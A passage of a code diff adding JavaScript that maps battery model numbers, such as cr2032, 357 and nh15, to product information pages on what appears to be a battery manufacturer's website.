+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="276"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="411"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="412"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="413"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="415"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="416"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="455"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="467"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="489"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="493"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="497"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="504"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="505"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="711"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="732"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="763"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev190"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev115"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev122"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev131"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev135"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="ev150"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="hs14196"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="2l76"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+ else if(IDText.value=="el1cr2"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+ else if(IDText.value=="crv3"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="el2cr5"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="el123ap"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="el223ap"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="l91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="l522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="l544"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithium.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1025"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1216"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1220"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1225"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1616"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1620"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr1632"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2012"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2016"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2025"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2032"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2320"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2430"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+
+ else if(IDText.value=="cr2450"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/lithium/lithiummin.htm"
+ return true
+ }
+ else if(IDText.value=="186"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="189"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="191"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="192"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="193"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a23"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a27"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a76"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="a544"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="e11a"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="e625g"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/manganese_dioxide/manganese_dioxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="301"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="303"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="309"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="315"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="317"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="319"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="321"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="329"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+ else if(IDText.value=="333"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+ else if(IDText.value=="335"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="337"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="339"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="341"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="344"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="346"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="350"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="357"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="361"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="362"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="364"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="365"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="366"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="370"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="371"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="373"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="376"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="377"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="379"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="381"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="384"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="386"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="387s"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="389"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="390"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="391"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="392"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="393"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="394"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="395"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="396"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="397"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="399"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="epx76"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/silver/silver_oxide.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac5"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac10/230"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+ else if(IDText.value=="ac10"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+ else if(IDText.value=="ac13"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac146x"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac312"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="ac675"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/zinc_air/zinc_air.htm"
+ return true
+ }
+
+ else if(IDText.value=="chm24"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="chm4aa"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="chsm"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="chm4fc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+
+ else if(IDText.value=="cxl1000"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/accessories/rechargeableaccessories_chrger.htm"
+ return true
+ }
+ else if(IDText.value=="nh12"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+ else if(IDText.value=="nh15"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+
+ else if(IDText.value=="nh22"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+
+ else if(IDText.value=="nh35"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+ else if(IDText.value=="nh50"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_nimh.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="ccm5060"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="ccm5260"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm1060h"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm1360"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm2560"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cm6136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cv3010"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="cv3012"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="cv3112"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc510"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc5160"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc520"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc525"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc530"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc545"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc560"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc570"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc580"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc590"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc600"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc610"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc620"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc630"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="erc640"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc650"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc660"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc670"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc680"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+ else if(IDText.value=="erc700"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscam.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp2360"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp3036"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="cp3136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp3336"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp5136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp5648"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp5748"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp8049"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp8648"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="cpv5136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="acp5036"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="acp5136"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+
+
+ else if(IDText.value=="acp7160"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw120"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw210"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw220"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw230"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw240"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw305"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw310"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw320"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw400"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw500"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw510"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw520"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw530"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw600"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw610"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw700"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw720"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw800"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erp107"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp110"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp240"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp268"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp275"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp290"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp450"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp506"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp509"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp730"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp9116"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p2312"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p2322m"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
